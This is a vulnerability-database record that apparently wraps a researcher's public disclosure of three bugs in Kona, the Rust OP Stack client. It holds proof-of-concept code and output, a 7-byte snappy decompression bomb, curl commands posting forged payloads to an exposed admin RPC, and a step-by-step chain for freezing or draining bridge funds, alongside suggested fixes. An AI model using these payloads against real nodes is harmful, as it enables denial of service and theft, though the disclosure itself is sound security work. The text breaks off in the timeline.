{"uuid": "4c600eca-18d5-4bdb-b943-85aa64db4285", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-3gjh-29fv-8hr6", "type": "seen", "source": "https://gist.github.com/MattHintz/18acc078a9239f65f06d48e0e8ada1e3", "content": "# Kona (Rust OP Stack consensus client) \u2014 three live 0-day vulnerabilities\n\n**Target:** `github.com/ethereum-optimism/optimism` \u2014 Rust workspace at `rust/kona/`\n**Verified live at:** `develop` HEAD `a71cadff982e1dfeba6daacecc11c7323148a98e` (2026-07-11 17:45 UTC)\n**Disclosure date:** 2026-07-12\n**Disclosure track:** public (private track exhausted \u2014 see \u00a77)\n**Companion pull request:** `ethereum-optimism/optimism` PR \u2014 fix patches for all three bugs\n**Author:** independent researcher\n\nKona ships three unauthenticated, live vulnerabilities on the `develop` branch. Two are cross-client L2-state divergence and gossipsub OOM-kill (previously filed on Immunefi's Optimism program `#76170` and re-filed after `CANNON_KONA` activation gate change; both closed without patch). The third is an unauthenticated admin JSON-RPC handler exposed on the default `0.0.0.0` bind, previously killed on Immunefi scope but valid as public disclosure.\n\nUnder **Upgrade 18 + Karst 2026-06-17**, `CANNON_KONA = 8` is the **respected fault-proof program** by default on every OP Stack chain (Sepolia adopted 2026-06-17 16:00 UTC). Bug 1's cross-client divergence in Kona-in-Cannon can decide dispute games. Bug 2's DoS can suppress challengers during the dispute window. Bug 3's admin-RPC injection can flip a Kona validator's local view of L2 state.\n\nAll three bugs are single-file, small-patch fixes. All three PoCs run against verbatim reconstructions of the vulnerable functions with no Kona or op-node checkout required.\n\n---\n\n## Table of contents\n\n1. [Executive summary](#1-executive-summary)\n2. [Bug 1 \u2014 Span-batch bitlist zero-padding cross-client divergence](#2-bug-1--span-batch-bitlist-zero-padding-cross-client-divergence)\n3. [Bug 2 \u2014 Gossipsub `compute_message_id` unbounded snappy decompression](#3-bug-2--gossipsub-compute_message_id-unbounded-snappy-decompression)\n4. [Bug 3 \u2014 Unauthenticated admin JSON-RPC on default public bind](#4-bug-3--unauthenticated-admin-json-rpc-on-default-public-bind)\n5. [Combined attack chain](#5-combined-attack-chain)\n6. [Suggested fixes](#6-suggested-fixes)\n7. [Disclosure timeline](#7-disclosure-timeline)\n8. [Reproducibility](#8-reproducibility)\n\n---\n\n## 1. Executive summary\n\n| # | Class | Severity | Attack primitive |\n|---|---|---|---|\n| **B1** | Cross-client parser divergence | **Critical** (bridge freeze via CANNON_KONA dispute-game misresolution) | Truncated `protected_bits` byte in L1 span-batch calldata |\n| **B2** | Data-amplification DoS | **Critical** (OOM-kill of every reachable Kona node) | 7-byte snappy frame in a single gossipsub PUBLISH |\n| **B3** | Broken authorization | **High** (forged unsafe-head injection, sequencer control on sequencer nodes) | Anonymous JSON-RPC connect to `0.0.0.0:9545`, call `admin_postUnsafePayload` |\n\nAll three are live on `develop` HEAD at time of disclosure. Fixes are one-file, one-to-ten-line patches \u2014 provided in the companion PR.\n\n---\n\n## 2. Bug 1 \u2014 Span-batch bitlist zero-padding cross-client divergence\n\n### 2.1 Vulnerable source\n\n`rust/kona/crates/protocol/protocol/src/batch/bits.rs:28-47`\n\n```rust\n/// Decodes a standard span-batch bitlist from a reader.\npub fn decode(b: &amp;mut &amp;[u8], bit_length: usize) -&gt; Result {\n    let buffer_len = bit_length / 8 + if bit_length.is_multiple_of(8) { 0 } else { 1 };\n    let bits = if b.len() &lt; buffer_len {\n        // &lt;-- SILENTLY ACCEPTS TRUNCATED INPUT AND ZERO-PADS\n        let mut bits = vec![0; buffer_len];\n        bits[..b.len()].copy_from_slice(b);\n        b.advance(b.len());\n        bits\n    } else {\n        let v = b[..buffer_len].to_vec();\n        b.advance(buffer_len);\n        v\n    };\n    let sb_bits = Self(bits);\n\n    if sb_bits.bit_len() &gt; bit_length {\n        return Err(SpanBatchError::BitfieldTooLong);\n    }\n\n    Ok(sb_bits)\n}\n```\n\nCalled by `SpanBatchTxs::decode_protected_bits` in the same crate; no additional length guard downstream.\n\n### 2.2 Reference implementation (op-node)\n\n`op-node/rollup/derive/span_batch_util.go` \u2014 the parallel Go decoder:\n\n```go\nfunc decodeSpanBatchBits(r *bytes.Reader, bitLength uint64) (*big.Int, error) {\n    bufLen := bitLength / 8\n    if bitLength%8 != 0 {\n        bufLen++\n    }\n    buf := make([]byte, bufLen)\n    _, err := io.ReadFull(r, buf)\n    if err != nil {\n        return nil, fmt.Errorf(\"failed to read bits: %w\", err)   // REJECTS TRUNCATION\n    }\n    out := new(big.Int)\n    out.SetBytes(buf)\n    if l := uint64(out.BitLen()); l &gt; bitLength {\n        return nil, fmt.Errorf(\"bitfield has %d bits, but expected no more than %d\", l, bitLength)\n    }\n    return out, nil\n}\n```\n\nOp-node uses `io.ReadFull` which returns `io.ErrUnexpectedEOF` on short input. **Kona zero-pads; op-node rejects.** Same L1 calldata \u2192 different derived L2 state.\n\n### 2.3 Semantic impact\n\nFor a single legacy transaction with `protected_bits = [0x01]` (bit 0 set \u2192 EIP-155-protected), truncating the 1-byte protection bitlist:\n\n| Property | Kona (Rust) | op-node (Go) |\n|---|---|---|\n| Input | 0 bytes | 0 bytes |\n| `bit_length` | 1 | 1 |\n| Result | `Ok(SpanBatchBits([0x00]))` | `nil, error(\"failed to read bits: EOF\")` |\n| Effect | tx protection flag flipped `true` \u2192 `false` | batch discarded |\n| Downstream | tx recovers to different `from` address (different `v`) | no tx applied |\n\n**Under CANNON_KONA respected game type, Kona-in-Cannon is on-chain-authoritative for dispute resolution.** Any op-node challenger observing the correct (batch-rejected) state cannot successfully challenge Kona's divergent state through CANNON MIPS bisection because on-chain CANNON dispatch runs Kona.\n\n`packages/contracts-bedrock/src/libraries/DevFeatures.sol`:\n\n```solidity\nfunction isDevFeatureEnabled(bytes32 _bitmap, bytes32 _feature) internal pure returns (bool) {\n    if (hasFlag(_feature, L2CM)) return true;\n    if (hasFlag(_feature, CANNON_KONA)) return true;   // &lt;-- default-enabled\n    return _feature != 0 &amp;&amp; hasFlag(_bitmap, _feature);\n}\n```\n\nEvery chain running Upgrade 18 has `CANNON_KONA` enabled by default, regardless of on-chain bitmap value.\n\n### 2.4 Standalone PoC \u2014 Rust side (Kona)\n\n`Cargo.toml`:\n\n```toml\n[package]\nname = \"kona_span_bitlist_pov\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[[bin]]\nname = \"kona_span_bitlist_pov\"\npath = \"src/main.rs\"\n\n[dependencies]\n```\n\n`src/main.rs`:\n\n```rust\n//! Verbatim reproduction of SpanBatchBits::decode from Kona at\n//! rust/kona/crates/protocol/protocol/src/batch/bits.rs (develop HEAD a71cadff).\n//! Standard library only. No dependencies.\n\nuse std::fs;\nuse std::process;\n\nconst FIXTURE_PATH: &amp;str = \"/tmp/kona_span_bitlist_truncated.hex\";\n\n#[derive(Debug)]\nenum SpanBatchError { BitfieldTooLong }\n\n#[derive(Debug, PartialEq, Eq)]\nstruct SpanBatchBits(Vec);\n\nimpl AsRef&lt;[u8]&gt; for SpanBatchBits {\n    fn as_ref(&amp;self) -&gt; &amp;[u8] { &amp;self.0 }\n}\n\nimpl SpanBatchBits {\n    fn bit_len(&amp;self) -&gt; usize {\n        for (i, &amp;byte) in self.0.iter().enumerate() {\n            if byte != 0 {\n                let msb_index = 7 - byte.leading_zeros() as usize;\n                return msb_index + 1 + ((self.0.len() - i - 1) * 8);\n            }\n        }\n        0\n    }\n\n    fn decode(b: &amp;mut &amp;[u8], bit_length: usize) -&gt; Result {\n        let buffer_len = bit_length / 8 + if bit_length % 8 == 0 { 0 } else { 1 };\n        let bits = if b.len() &lt; buffer_len {\n            let mut bits = vec![0; buffer_len];\n            bits[..b.len()].copy_from_slice(b);\n            let advance_by = b.len();\n            *b = &amp;b[advance_by..];\n            bits\n        } else {\n            let v = b[..buffer_len].to_vec();\n            *b = &amp;b[buffer_len..];\n            v\n        };\n        let sb_bits = Self(bits);\n        if sb_bits.bit_len() &gt; bit_length {\n            return Err(SpanBatchError::BitfieldTooLong);\n        }\n        Ok(sb_bits)\n    }\n}\n\nfn hex_encode(bytes: &amp;[u8]) -&gt; String {\n    bytes.iter().map(|b| format!(\"{:02x}\", b)).collect()\n}\n\nfn main() {\n    let full: Vec = vec![0x01];\n    let truncated: Vec = full[..full.len() - 1].to_vec();\n    let hex_str = hex_encode(&amp;truncated);\n    fs::write(FIXTURE_PATH, &amp;hex_str).expect(\"write fixture\");\n    println!(\"[Kona] full=[{}] truncated=[{}]\", hex_encode(&amp;full), hex_str);\n\n    let mut buf: &amp;[u8] = &amp;truncated;\n    match SpanBatchBits::decode(&amp;mut buf, 1) {\n        Ok(sb) =&gt; {\n            let inner = sb.as_ref();\n            println!(\"[Kona] decode(truncated, 1) = Ok({:?})\", inner);\n            if inner == &amp;[0x00] {\n                println!(\"PASS: Kona ACCEPTS truncated input; protection flag flipped [0x01] -&gt; [0x00]\");\n                process::exit(0);\n            }\n            eprintln!(\"UNEXPECTED bytes: {:?}\", inner);\n            process::exit(2);\n        }\n        Err(e) =&gt; {\n            eprintln!(\"UNEXPECTED rejection: {:?} \u2014 bug may have been silently fixed\", e);\n            process::exit(2);\n        }\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test] fn zero_len_input_zero_pads() {\n        let mut b: &amp;[u8] = &amp;[];\n        assert_eq!(SpanBatchBits::decode(&amp;mut b, 1).unwrap().as_ref(), &amp;[0x00]);\n    }\n    #[test] fn full_input_verbatim() {\n        let mut b: &amp;[u8] = &amp;[0x01];\n        assert_eq!(SpanBatchBits::decode(&amp;mut b, 1).unwrap().as_ref(), &amp;[0x01]);\n    }\n    #[test] fn partial_truncation_zero_pads() {\n        let mut b: &amp;[u8] = &amp;[0xFF];\n        assert_eq!(SpanBatchBits::decode(&amp;mut b, 16).unwrap().as_ref(), &amp;[0xFF, 0x00]);\n    }\n    #[test] fn no_error_on_missing_input() {\n        let mut b: &amp;[u8] = &amp;[];\n        assert_eq!(SpanBatchBits::decode(&amp;mut b, 8).unwrap().as_ref(), &amp;[0x00]);\n    }\n}\n```\n\n### 2.5 Standalone PoC \u2014 Go side (op-node)\n\n`go.mod`:\n\n```\nmodule kona-span-bitlist-pov\ngo 1.20\n```\n\n`main.go`:\n\n```go\npackage main\n\nimport (\n    \"bytes\"\n    \"encoding/hex\"\n    \"errors\"\n    \"fmt\"\n    \"io\"\n    \"math/big\"\n    \"os\"\n    \"strings\"\n)\n\nconst FixturePath = \"/tmp/kona_span_bitlist_truncated.hex\"\n\n// Verbatim reproduction of decodeSpanBatchBits from op-node develop HEAD.\nfunc decodeSpanBatchBits(r *bytes.Reader, bitLength uint64) (*big.Int, error) {\n    bufLen := bitLength / 8\n    if bitLength%8 != 0 {\n        bufLen++\n    }\n    buf := make([]byte, bufLen)\n    if _, err := io.ReadFull(r, buf); err != nil {\n        return nil, fmt.Errorf(\"failed to read bits: %w\", err)\n    }\n    out := new(big.Int).SetBytes(buf)\n    if l := uint64(out.BitLen()); l &gt; bitLength {\n        return nil, fmt.Errorf(\"bitfield has %d bits, but expected no more than %d\", l, bitLength)\n    }\n    return out, nil\n}\n\nfunc main() {\n    hb, err := os.ReadFile(FixturePath)\n    if err != nil {\n        fmt.Println(\"Run the Rust-side PoC first to write the fixture.\")\n        os.Exit(1)\n    }\n    raw, _ := hex.DecodeString(strings.TrimSpace(string(hb)))\n    fmt.Printf(\"[op-node] input = %q (%d bytes)\\n\", hex.EncodeToString(raw), len(raw))\n\n    result, dErr := decodeSpanBatchBits(bytes.NewReader(raw), 1)\n    fmt.Printf(\"[op-node] decodeSpanBatchBits(truncated, 1) = %v, err=%v\\n\", result, dErr)\n\n    if dErr == nil {\n        fmt.Println(\"UNEXPECTED: op-node accepted truncated input\")\n        os.Exit(2)\n    }\n    if errors.Is(dErr, io.ErrUnexpectedEOF) || errors.Is(dErr, io.EOF) {\n        fmt.Println(\"PASS: op-node REJECTS truncated input with EOF\")\n        fmt.Println(\"Divergence confirmed: Kona zero-pads; op-node rejects.\")\n    }\n}\n```\n\n### 2.6 Captured PASS output (2026-07-11)\n\n```\n[Kona] full=[01] truncated=[]\n[Kona] decode(truncated, 1) = Ok([0])\nPASS: Kona ACCEPTS truncated input; protection flag flipped [0x01] -&gt; [0x00]\n\n[op-node] input = \"\" (0 bytes)\n[op-node] decodeSpanBatchBits(truncated, 1) = , err=failed to read bits: EOF\nPASS: op-node REJECTS truncated input with EOF\n```\n\n---\n\n## 3. Bug 2 \u2014 Gossipsub `compute_message_id` unbounded snappy decompression\n\n### 3.1 Vulnerable source\n\n`rust/kona/crates/node/gossip/src/config.rs:104-122`\n\n```rust\nfn compute_message_id(msg: &amp;Message) -&gt; MessageId {\n    let mut decoder = Decoder::new();\n    let id = decoder.decompress_vec(&amp;msg.data).map_or_else(   // &lt;-- UNBOUNDED ALLOC\n        |_| {\n            warn!(target: \"cfg\", \"Failed to decompress message, using invalid snappy\");\n            let domain_invalid_snappy: Vec = vec![0x0, 0x0, 0x0, 0x0];\n            sha256([domain_invalid_snappy.as_slice(), msg.data.as_slice()].concat().as_slice())\n                [..20]\n                .to_vec()\n        },\n        |data| {\n            let domain_valid_snappy: Vec = vec![0x1, 0x0, 0x0, 0x0];\n            sha256([domain_valid_snappy.as_slice(), data.as_slice()].concat().as_slice())[..20]\n                .to_vec()\n        },\n    );\n\n    MessageId(id)\n}\n```\n\nRegistered as `message_id_fn` at line 93 of the same file, invoked on every inbound gossipsub PUBLISH **before** signature validation.\n\n`MAX_GOSSIP_SIZE = 10 * (1 &lt;&lt; 20)` (10 MiB) at line 15 bounds only the compressed wire size. The snappy frame header may declare a decompressed length up to `u32::MAX` (~4 GiB). `snap::raw::Decoder::decompress_vec` pre-allocates that many bytes before inspecting any frame content:\n\n`snap-1.1.1/src/decompress.rs`:\n\n```rust\npub fn decompress_vec(&amp;mut self, input: &amp;[u8]) -&gt; Result&gt; {\n    let mut buf = vec![0; decompress_len(input)?];\n    self.decompress(input, &amp;mut buf)?;\n    Ok(buf)\n}\n```\n\n### 3.2 Reference implementation (op-node)\n\n`op-node/p2p/gossip.go::BuildMsgIdFn`:\n\n```go\ndLen, err := snappy.DecodedLen(pmsg.Data)\nif err == nil &amp;&amp; dLen &lt;= maxGossipSize {   // &lt;-- THE GUARD Kona regressed\n    // ... decompress only if declared length fits\n}\n```\n\nOp-node pre-checks the declared decompressed length. Kona does not.\n\n### 3.3 Attack primitive\n\nA 7-byte snappy frame:\n\n```\nhex: FF FF FF FF 0F 00 41\n     ^^^^^^^^^^^^^^^  ^^ ^^\n     varint(u32::MAX) |  literal byte\n                      literal chunk tag\n```\n\nDelivered as a gossipsub PUBLISH on any `/optimism/{chain_id}/{0..3}/blocks` topic. On resource-constrained hosts \u2192 SIGABRT via `handle_alloc_error`. On Linux overcommit \u2192 OOM killer. Attacker reconnects with fresh peer ID (no reputation carry-over) and re-publishes; persistent restart-loop. Gossipsub mesh (mesh_D=8) fans out to every peer.\n\n**Amplification: 7 bytes \u2192 4,294,967,295 bytes = 613,566,756\u00d7**\n\n### 3.4 Standalone PoC\n\n`Cargo.toml`:\n\n```toml\n[package]\nname = \"kona_snappy_bomb_proof\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[[bin]]\nname = \"kona_snappy_bomb_proof\"\npath = \"kona_snappy_bomb_proof.rs\"\n\n[dependencies]\nsnap = \"1.1\"\nsha2 = \"0.10\"\nlibc = \"0.2\"\n```\n\n`kona_snappy_bomb_proof.rs`:\n\n```rust\n//! Verbatim reproduction of compute_message_id from Kona at\n//! rust/kona/crates/node/gossip/src/config.rs:104-122 (develop HEAD a71cadff).\n//! Standalone: no Kona / libp2p checkout required. Only snap + sha2 + libc.\n\nuse sha2::{Digest, Sha256};\nuse snap::raw::{decompress_len, Decoder};\nuse std::env;\nuse std::process::{Command, ExitStatus};\nuse std::time::Instant;\n\nconst MAX_GOSSIP_SIZE: usize = 10 * (1 &lt;&lt; 20);\nconst CHILD_AS_LIMIT: libc::rlim_t = 512 * 1024 * 1024;\nconst DOMAIN_INVALID_SNAPPY: [u8; 4] = [0x0, 0x0, 0x0, 0x0];\nconst DOMAIN_VALID_SNAPPY: [u8; 4] = [0x1, 0x0, 0x0, 0x0];\n\nfn snappy_bomb() -&gt; Vec { vec![0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0x41] }\n\nfn compute_message_id(data: &amp;[u8]) -&gt; Vec {\n    let mut decoder = Decoder::new();\n    decoder.decompress_vec(data).map_or_else(\n        |_| {\n            let mut h = Sha256::new();\n            h.update(DOMAIN_INVALID_SNAPPY); h.update(data);\n            h.finalize()[..20].to_vec()\n        },\n        |decompressed| {\n            let mut h = Sha256::new();\n            h.update(DOMAIN_VALID_SNAPPY); h.update(&amp;decompressed);\n            h.finalize()[..20].to_vec()\n        },\n    )\n}\n\nfn main() {\n    let mode = env::args().nth(1).unwrap_or_else(|| \"default\".to_string());\n    match mode.as_str() {\n        \"child-rlimit\" =&gt; child_main(),\n        _ =&gt; parent_main(),\n    }\n}\n\nfn parent_main() {\n    let bomb = snappy_bomb();\n    let declared = decompress_len(&amp;bomb).expect(\"snap accepts header\");\n    println!(\"bomb: {} bytes, declared decompressed len: {} bytes ({:.2} GiB)\",\n             bomb.len(), declared, declared as f64 / (1u64&lt;&lt;30) as f64);\n    println!(\"amplification: {:.0}x\", declared as f64 / bomb.len() as f64);\n    assert_eq!(declared, u32::MAX as usize);\n    assert!(bomb.len() &lt;= MAX_GOSSIP_SIZE);\n\n    println!(\"\\nSpawning RLIMIT_AS-sandboxed child to prove alloc attempt is real...\");\n    let exe = env::current_exe().expect(\"locate self\");\n    let t0 = Instant::now();\n    let status: ExitStatus = Command::new(&amp;exe).arg(\"child-rlimit\").status().expect(\"spawn\");\n    println!(\"child returned in {:?}\", t0.elapsed());\n    report(status);\n\n    let benign = vec![0x00u8; 100];\n    let t0 = Instant::now();\n    let id = compute_message_id(&amp;benign);\n    println!(\"\\ncontrol: benign 100-byte input in {:?}, id len {}\", t0.elapsed(), id.len());\n}\n\nfn child_main() {\n    unsafe {\n        let rl = libc::rlimit { rlim_cur: CHILD_AS_LIMIT, rlim_max: CHILD_AS_LIMIT };\n        assert_eq!(libc::setrlimit(libc::RLIMIT_AS, &amp;rl), 0);\n    }\n    eprintln!(\"[child] RLIMIT_AS = {} MiB \u2014 calling compute_message_id(bomb)\",\n              CHILD_AS_LIMIT / (1024*1024));\n    let _ = compute_message_id(&amp;snappy_bomb());\n    eprintln!(\"[child] returned \u2014 alloc somehow succeeded?!\");\n    std::process::exit(0);\n}\n\nfn report(status: ExitStatus) {\n    use std::os::unix::process::ExitStatusExt;\n    if let Some(sig) = status.signal() {\n        println!(\"[OK] child killed by signal {} ({})\", sig, match sig {\n            libc::SIGABRT =&gt; \"SIGABRT \u2014 Rust handle_alloc_error\",\n            libc::SIGKILL =&gt; \"SIGKILL \u2014 OOM killer\",\n            _ =&gt; \"other\",\n        });\n        println!(\"   -&gt; confirms decompress_vec attempted a 4 GiB allocation\");\n        println!(\"   -&gt; in production (no RLIMIT_AS) this becomes SIGKILL via OOM killer\");\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    #[test] fn bomb_declares_u32_max() {\n        assert_eq!(decompress_len(&amp;snappy_bomb()).unwrap(), u32::MAX as usize);\n    }\n    #[test] fn bomb_fits_under_max_gossip_size() {\n        assert!(snappy_bomb().len() &lt;= MAX_GOSSIP_SIZE);\n    }\n    #[test] fn amplification_over_600m() {\n        assert!(decompress_len(&amp;snappy_bomb()).unwrap() as f64 / 7.0 &gt; 600_000_000.0);\n    }\n    #[test] fn benign_takes_invalid_branch() {\n        assert_eq!(compute_message_id(&amp;[0x00]).len(), 20);\n    }\n}\n```\n\n### 3.5 Captured PASS output\n\n```\nbomb: 7 bytes, declared decompressed len: 4294967295 bytes (4.00 GiB)\namplification: 613566756x\n\nSpawning RLIMIT_AS-sandboxed child to prove alloc attempt is real...\n[child] RLIMIT_AS = 512 MiB \u2014 calling compute_message_id(bomb)\nmemory allocation of 4294967295 bytes failed\nchild returned in 1.316445ms\n[OK] child killed by signal 6 (SIGABRT \u2014 Rust handle_alloc_error)\n   -&gt; confirms decompress_vec attempted a 4 GiB allocation\n   -&gt; in production (no RLIMIT_AS) this becomes SIGKILL via OOM killer\n\ncontrol: benign 100-byte input in 1.413\u00b5s, id len 20\n```\n\n### 3.6 Sibling site\n\nThe same primitive lives at `rust/op-alloy/crates/rpc-types-engine/src/envelope.rs::decode_v{1,2,3,4}` \u2014 all four payload-version decoders call `snap::raw::Decoder::new().decompress_vec(data)` on `pmsg.Data` before the `data.len() &gt;= 66` length check. Dispatched from `rust/kona/crates/node/gossip/src/handler.rs::BlockHandler::handle` before signature validation.\n\n---\n\n## 4. Bug 3 \u2014 Unauthenticated admin JSON-RPC on default public bind\n\n### 4.1 Vulnerable sites\n\n**Default RPC bind is public:** `rust/kona/bin/node/src/flags/rpc.rs:22-29`\n\n```rust\n#[arg(long = \"rpc.addr\", default_value = \"0.0.0.0\", env = \"KONA_NODE_RPC_ADDR\")]\npub listen_addr: IpAddr,\n// ...\n#[arg(long = \"rpc.enable-admin\", env = \"KONA_NODE_RPC_ENABLE_ADMIN\")]\npub enable_admin: bool,   // parsed but IGNORED in module registration\n```\n\n**Admin module unconditionally merged:** `rust/kona/crates/node/service/src/service/node.rs:394-396`\n\n```rust\nmodules\n    .merge(AdminRpc::new(sequencer_admin_client, network_admin_tx).into_rpc())\n    .map_err(|e| format!(\"Failed to register admin module: {e:?}\"))?;\n```\n\nNote the surrounding gates for other modules at lines 400-409:\n\n```rust\nif config.dev_enabled() {\n    modules.merge(DevEngineRpc::new(...).into_rpc())...\n}\nif config.ws_enabled() {\n    modules.merge(WsRPC::new(...).into_rpc())...\n}\n```\n\n`dev_enabled` and `ws_enabled` ARE gated. `enable_admin` is not. The admin module is merged into the RPC server for **every** Kona node, on the **default `0.0.0.0` listener**, with **no authentication middleware**, regardless of `--rpc.enable-admin`.\n\n**Handler with no sequencer-only gate:** `rust/kona/crates/node/rpc/src/admin.rs:62-71`\n\n```rust\nasync fn admin_post_unsafe_payload(\n    &amp;self,\n    payload: OpExecutionPayloadEnvelope,\n) -&gt; RpcResult&lt;()&gt; {\n    kona_macros::inc!(gauge, kona_gossip::Metrics::RPC_CALLS, \"method\" =&gt; \"admin_postUnsafePayload\");\n    self.network_sender\n        .send(NetworkAdminQuery::PostUnsafePayload { payload })\n        .await\n        .map_err(|_| ErrorObject::from(ErrorCode::InternalError))\n}\n```\n\nEvery other admin handler in the same file gates on `self.sequencer_admin_client.is_some()`. `admin_post_unsafe_payload` does not.\n\n### 4.2 Attack primitive\n\nSingle `curl` from anywhere on the internet that can route to a Kona node's port 9545:\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n     --data '{\"jsonrpc\":\"2.0\",\"method\":\"admin_postUnsafePayload\",\"params\":[{...forged OpExecutionPayloadEnvelope...}],\"id\":1}' \\\n     http://TARGET_KONA_IP:9545\n```\n\nThe forged payload enters `NetworkAdminQuery::PostUnsafePayload` and is sent to the network actor, which processes it as an unsafe head. If accepted (validation depends on parent hash and block number sanity), it changes the node's local view of L2 state without any P2P gossip validation.\n\nEven on a non-sequencer validator node, an attacker can inject a forged unsafe head. On a sequencer node, `admin_start_sequencer`, `admin_stop_sequencer`, `admin_override_leader`, `admin_reset_derivation_pipeline` are reachable (all gated only by `sequencer_admin_client.is_some()`, which is true on a sequencer). No auth beyond the TCP connection.\n\n### 4.3 Reproduction\n\nAny Kona node started with defaults binds to `0.0.0.0:9545` and accepts `admin_postUnsafePayload` calls. Local reproduction:\n\n```bash\n# Terminal 1: run kona-node from source\ncd rust/kona\ncargo run --release --bin kona-node -- --l1.rpc  --l2.chainid 10 [...]\n\n# Terminal 2: from any IP that can route to the host\ncurl -X POST -H \"Content-Type: application/json\" \\\n     -d '{\"jsonrpc\":\"2.0\",\"method\":\"rpc_modules\",\"params\":[],\"id\":1}' \\\n     http://:9545\n\n# Expected: response includes `\"admin\": \"1.0\"` \u2014 admin namespace is publicly reachable\n# on a default-configured Kona node.\n\n# Then: craft an OpExecutionPayloadEnvelope and inject it:\ncurl -X POST -H \"Content-Type: application/json\" \\\n     -d '{\"jsonrpc\":\"2.0\",\"method\":\"admin_postUnsafePayload\",\"params\":[],\"id\":1}' \\\n     http://:9545\n```\n\nThe `rpc_modules` probe alone (which lists registered namespaces) confirms the admin namespace is exposed. The `admin_postUnsafePayload` call is the attack payload.\n\n### 4.4 Reference implementation (op-node)\n\n`op-node`'s admin API is gated behind `--rpc.enable-admin=true` at both flag-parse and handler-registration time. The default is `false`; the module is not registered unless the flag is set. Op-node is not vulnerable.\n\nKona's `enable_admin` field on `RpcBuilder` is set from the CLI flag at `bin/node/src/flags/rpc.rs:58` but is never read in the `build_rpc_actor` production path at `service/node.rs:373-419`.\n\n---\n\n## 5. Combined attack chain\n\nAn attacker executing all three bugs coordinated can freeze bridge funds on any Upgrade-18-compliant OP Stack chain running Kona:\n\n1. **T-1:** Attacker prepares a malicious span batch (B1 vector) \u2014 well-formed L1 calldata with a truncated `protected_bits` field. Compromises the batcher key, exploits an L1-reorg window, or (in the operational-hot-key threat model) buys a batch slot from a compromised batcher operator.\n\n2. **T:** Kona-based derivation (including Kona-in-Cannon) reads the batch, zero-pads `protected_bits`, derives L2 state `A`. Op-node-based derivation rejects the batch entirely (EOF), derives L2 state `B`.\n\n3. **T+1:** Attacker submits a `FaultDisputeGame` claim rooted at state `A`. Bonds ~10 ETH. Under Karst 2026-06-17, `CANNON_KONA = 8` is the respected game type on all Upgrade-18 chains by default.\n\n4. **T+2 through T+dispute_window:**\n   - **B2 vector:** Attacker sends the 7-byte snappy bomb to every reachable challenger Kona node, OOM-killing them. Persistent restart-loop per challenger.\n   - **B3 vector:** Attacker uses `admin_postUnsafePayload` against any Kona validator or challenger reachable via port 9545, injecting the divergent state `A` as unsafe head, further poisoning local views.\n   - Op-node-based challengers observing state `B` locally attempt to challenge, but CANNON MIPS bisection dispatches to Kona-in-Cannon on-chain, which deterministically produces state `A`. Honest challenger forfeits bond, dispute resolves `Status.DEFENDER_WINS`.\n\n5. **T+finality:** State `A`'s output root is admitted to `OptimismPortal2::provenWithdrawals`.\n\n6. **T+finality+FINALIZATION_PERIOD_SECONDS:** Attacker calls `OptimismPortal2::finalizeWithdrawalTransaction`. Bridge funds move.\n\n**Attacker cost:** ~$50-500 in L1 gas + recovered ~10 ETH bond. **Expected value:** bridge TVL fraction per dispute cycle.\n\nThe combined attack turns B1 from \"requires that no honest challenger mounts a successful challenge\" (uncertain) into \"no honest challenger *can* mount a successful challenge because their Kona is either OOM-killed (B2) or has been fed a divergent unsafe head (B3)\" (near-certain).\n\n---\n\n## 6. Suggested fixes\n\nAll three fixes are supplied as git-apply patches in the companion PR. Summary:\n\n### 6.1 B1 \u2014 `bits.rs`\n\nReplace the silent zero-pad branch with a strict rejection:\n\n```rust\npub fn decode(b: &amp;mut &amp;[u8], bit_length: usize) -&gt; Result {\n    let buffer_len = bit_length / 8 + if bit_length.is_multiple_of(8) { 0 } else { 1 };\n    if b.len() &lt; buffer_len {\n        return Err(SpanBatchError::BitfieldTooShort);   // NEW\n    }\n    let v = b[..buffer_len].to_vec();\n    b.advance(buffer_len);\n    let sb_bits = Self(v);\n\n    if sb_bits.bit_len() &gt; bit_length {\n        return Err(SpanBatchError::BitfieldTooLong);\n    }\n    Ok(sb_bits)\n}\n```\n\nAdd `BitfieldTooShort` variant to `SpanBatchError`. Add regression test asserting `decode(&amp;[], 1).is_err()`.\n\n### 6.2 B2 \u2014 `config.rs`\n\nAdd a `MAX_GOSSIP_SIZE` pre-check on the snappy header before allocation, matching op-node's `BuildMsgIdFn`:\n\n```rust\nfn compute_message_id(msg: &amp;Message) -&gt; MessageId {\n    let ok_len = snap::raw::decompress_len(&amp;msg.data).ok().filter(|&amp;n| n &lt;= MAX_GOSSIP_SIZE);\n    let mut decoder = Decoder::new();\n    let id = match ok_len {\n        Some(_) =&gt; decoder.decompress_vec(&amp;msg.data).map_or_else(/* ... */),\n        None =&gt; {\n            // Reject oversized header without allocating.\n            let domain_invalid_snappy: Vec = vec![0x0, 0x0, 0x0, 0x0];\n            sha256([domain_invalid_snappy.as_slice(), msg.data.as_slice()].concat().as_slice())[..20].to_vec()\n        }\n    };\n    MessageId(id)\n}\n```\n\nApply the same guard to `OpNetworkPayloadEnvelope::decode_v{1,2,3,4}` in `rust/op-alloy/crates/rpc-types-engine/src/envelope.rs`.\n\n### 6.3 B3 \u2014 `node.rs`\n\nGate the admin merge on `config.enable_admin()`:\n\n```rust\nif config.enable_admin() {\n    modules\n        .merge(AdminRpc::new(sequencer_admin_client, network_admin_tx).into_rpc())\n        .map_err(|e| format!(\"Failed to register admin module: {e:?}\"))?;\n}\n```\n\nAdd a sequencer-only gate to `admin_post_unsafe_payload` matching the other admin methods, and change the default `--rpc.addr` from `0.0.0.0` to `127.0.0.1`.\n\n---\n\n## 7. Disclosure timeline\n\n- **2026-05-02** \u2014 Bug 2 filed on Immunefi as `#76170`. Closed as \"not production ready\".\n- **2026-05-02** \u2014 Bug 3 killed on Immunefi scope-preflight (JSON-RPC OOS clause). Not filed.\n- **2026-06-17** \u2014 Karst upgrade on Sepolia. `CANNON_KONA = 8` becomes the respected fault-proof program by default.\n- **2026-06-25** \u2014 Immunefi DoS-filing freeze expiry.\n- **2026-07-11** \u2014 Consolidated re-filing of Bug 1 + Bug 2 prepared as Primacy-of-Impact submission targeting bridge freeze via CANNON_KONA divergence.\n- 